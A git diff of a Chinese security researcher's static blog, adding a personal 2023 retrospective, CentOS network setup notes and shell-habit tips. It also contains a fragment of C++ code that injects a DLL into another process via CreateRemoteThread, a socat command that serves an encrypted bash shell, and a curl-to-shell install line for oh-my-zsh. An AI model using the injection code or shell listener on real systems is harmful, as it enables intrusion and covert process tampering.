style="color:#ae81ff">6</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;loadLibraryAddress: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> pid <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> HANDLE remoteThread <span style="color:#f92672">=</span> CreateRemoteThread(hProcess, <span style="color:#66d9ef">nullptr</span>, <span style="color:#ae81ff">0</span>, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">nullptr</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (remoteThread <span style="color:#f92672">==</span> <span style="color:#66d9ef">nullptr</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Error. Unable to CreateRemoteThread. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">7</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// We wait for the load to finish before proceeding to get the function to actually do the attach. +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Waiting for LoadLibraryA to complete.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> DWORD result <span style="color:#f92672">=</span> WaitForSingleObject(remoteThread, <span style="color:#ae81ff">5</span> <span style="color:#f92672">*</span> <span style="color:#ae81ff">1000</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(result <span style="color:#f92672">==</span> WAIT_TIMEOUT) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WaitForSingleObject(LoadLibraryA thread) timed out.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">8</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span>(result <span style="color:#f92672">==</span> WAIT_FAILED) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;WaitForSingleObject(LoadLibraryA thread) failed. Error code: &#34;</span> <span style="color:#f92672">&lt;&lt;</span> GetLastError() <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">9</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>cout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Ok, finished dll injection.&#34;</span> <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>签名情况:</p> \ No newline at end of file diff --git "a/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" index 5f47755..311f82b 100644 --- "a/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" +++ "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" @@ -21,4 +21,70 @@ </span></span><span style="display:flex;"><span>nameserver 8.8.8.8 </span></span></code></pre></td></tr></table> </div> -</div><p>修改 <code>/etc/NetworkManager/NetworkManager.conf</code> 文件,在main部分添加 “dns=none” 选项:</p> \ No newline at end of file +</div><p>修改 <code>/etc/NetworkManager/NetworkManager.conf</code> 文件,在main部分添加 “dns=none” 选项:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>[main] +</span></span><span style="display:flex;"><span><span style="color:#75715e">#plugins=ifcfg-rh +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>dns<span style="color:#f92672">=</span>none +</span></span></code></pre></td></tr></table> +</div> +</div><p>网络IP地址配置文件在 <code>/etc/sysconfig/network-scripts</code> 文件夹下:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-c1fdebce3a78e6a40d687eb5fa49a1b528c20752858153814edc88cba437ceaa.png" alt="0"> + +</p> +<p>我添加了两个网卡,其中一个用来供本机访问:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-683e57752f22f8419b233e4952db222874f86e8902cfdd70410619b4b6a2aea1.png" alt="1"> + +</p> +<p><code>/etc/sysconfig/network-scripts/ifcfg-eth1-1</code></p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>HWADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">00</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>C:<span style="color:#ae81ff">29</span><span style="color:#f92672">:</span><span style="color:#ae81ff">4</span>B:<span style="color:#ae81ff">16</span><span style="color:#f92672">:</span>B4 +</span></span><span style="display:flex;"><span>TYPE<span style="color:#f92672">=</span>Ethernet +</span></span><span style="display:flex;"><span>PROXY_METHOD<span style="color:#f92672">=</span>none +</span></span><span style="display:flex;"><span>BROWSER_ONLY<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>BOOTPROTO<span style="color:#f92672">=</span>none +</span></span><span style="display:flex;"><span>IPADDR<span style="color:#f92672">=</span><span style="color:#ae81ff">192.168.117.100</span> +</span></span><span style="display:flex;"><span>GATEWAY<span style="color:#f92672">=</span><span style="color:#ae81ff">192.168.117.2</span> +</span></span><span style="display:flex;"><span>PREFIX<span style="color:#f92672">=</span><span style="color:#ae81ff">24</span> +</span></span><span style="display:flex;"><span>DNS1<span style="color:#f92672">=</span><span style="color:#ae81ff">114.114.114.114</span> +</span></span><span style="display:flex;"><span>DNS2<span style="color:#f92672">=</span><span style="color:#ae81ff">8.8.8.8</span> +</span></span><span style="display:flex;"><span>DEFROUTE<span style="color:#f92672">=</span>yes +</span></span><span style="display:flex;"><span>IPV4_FAILURE_FATAL<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>IPV4_DNS_PRIORITY<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span> +</span></span><span style="display:flex;"><span>IPV6INIT<span style="color:#f92672">=</span>no +</span></span><span style="display:flex;"><span>NAME<span style="color:#f92672">=</span>eth1 +</span></span><span style="display:flex;"><span>UUID<span style="color:#f92672">=</span><span style="color:#ae81ff">8</span>a47e710<span style="color:#f92672">-</span>cadd<span style="color:#f92672">-</span><span style="color:#ae81ff">49</span>b5<span style="color:#f92672">-</span>b9b7<span style="color:#f92672">-</span><span style="color:#ae81ff">33</span>a324c4ab66 +</span></span><span style="display:flex;"><span>DEVICE<span style="color:#f92672">=</span>eth1 +</span></span><span style="display:flex;"><span>ONBOOT<span style="color:#f92672">=</span>no +</span></span></code></pre></td></tr></table> +</div> +</div><p>观察启动命令行:</p> \ No newline at end of file diff --git "a/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" "b/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" index abaa605..88cbc5d 100644 --- "a/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" +++ "b/tags/\345\277\203\346\203\205\351\232\217\347\254\224/index.xml" @@ -27,7 +27,33 @@ <p>三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。</p> <p><em>“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”</em></p> <p>四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。</p> -<p><em>“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”</em></p>需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/<!-- raw HTML omitted --> +<p><em>“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”</em></p> +<p>五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。</p> +<p><em>“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”</em></p> +<p>六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源:</p> +<ol> +<li>人口少子化可能催生了“断亲族”,亲戚数量少、交往不够</li> +<li>家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化</li> +<li>对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异</li> +<li>当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑</li> +</ol> +<p>我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。</p> +<p><em>“如果我们可以经常像朋友一样沟通,我有好多话想说。”</em></p> +<p>七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。</p> +<p><em>“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”</em></p> +<p>八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。</p> +<p><em>“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”</em></p> +<p>九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。</p> +<p><em>“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”</em></p> +<p>十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。</p> +<p><em>“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”</em></p> +<p>十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。</p> +<p><em>“没有人可以评价你,做一个自信的人,我们的文化也是一样。”</em></p> +<p>十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。</p> +<p><em>“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”</em></p> +<p>这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。</p> +<h2 id="最后">最后</h2> +<p>2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。</p>需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h3 id="使用带密码的私钥">使用带密码的私钥</h3> <p>使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。</p> @@ -45,4 +71,51 @@ </span></span><span style="display:flex;"><span>Generating public/private rsa key pair. </span></span><span style="display:flex;"><span>Enter passphrase <span style="color:#f92672">(</span>empty <span style="color:#66d9ef">for</span> no passphrase<span style="color:#f92672">)</span>: <span style="color:#75715e"># 输入密码</span> </span></span><span style="display:flex;"><span>Enter same passphrase again: <span style="color:#75715e"># 输入密码</span> -</span></span></code></pr \ No newline at end of file +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/2024-07-29-fcceb13ae2e9e9954f3e168e822e583565003cf814c46b123015ed18723b01f8.png" alt="0"> + +</p> +<h3 id="使用命令行提示工具-oh-my-zsh">使用命令行提示工具 oh-my-zsh</h3> +<p><a href="https://ohmyz.sh/">oh my zsh</a></p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sh -c <span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">$(</span>curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$ vim .zshrc +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># 我使用的插件</span> +</span></span><span style="display:flex;"><span>plugins<span style="color:#f92672">=(</span> +</span></span><span style="display:flex;"><span>git +</span></span><span style="display:flex;"><span>docker +</span></span><span style="display:flex;"><span>zsh-syntax-highlighting +</span></span><span style="display:flex;"><span>zsh-autosuggestions +</span></span><span style="display:flex;"><span>zsh-completions +</span></span><span style="display:flex;"><span>copyfil +</span></span><span style="display:flex;"><span>e emoji +</span></span><span style="display:flex;"><span>extract +</span></span><span style="display:flex;"><span>sudo +</span></span><span style="display:flex;"><span><span style="color:#f92672">)</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="使用更好的替代命令">使用更好的替代命令</h3> +<p>在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置:</p> \ No newline at end of file diff --git a/tools/socat/index.html b/tools/socat/index.html index 41cea86..16362bf 100644 --- a/tools/socat/index.html +++ b/tools/socat/index.html @@ -43,4 +43,4 @@ openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crtcat $FILENAME.key $FILENAME.crt >$FILENAME.pem

在当前目录下生成 server.pem 、server.crt

使用

|服务端 |socat openssl-listen:4433,reuseaddr,cert=srv.pem,cafile=srv.crt system:bash,pty,stderr | -|本地 | socat readline openssl:localhost:4433,cert=srv.pem,cafile=srv.crt |

\ No newline at end of file +|本地 | socat readline openssl:localhost:4433,cert=srv.pem,cafile=srv.crt |

\ No newline at end of file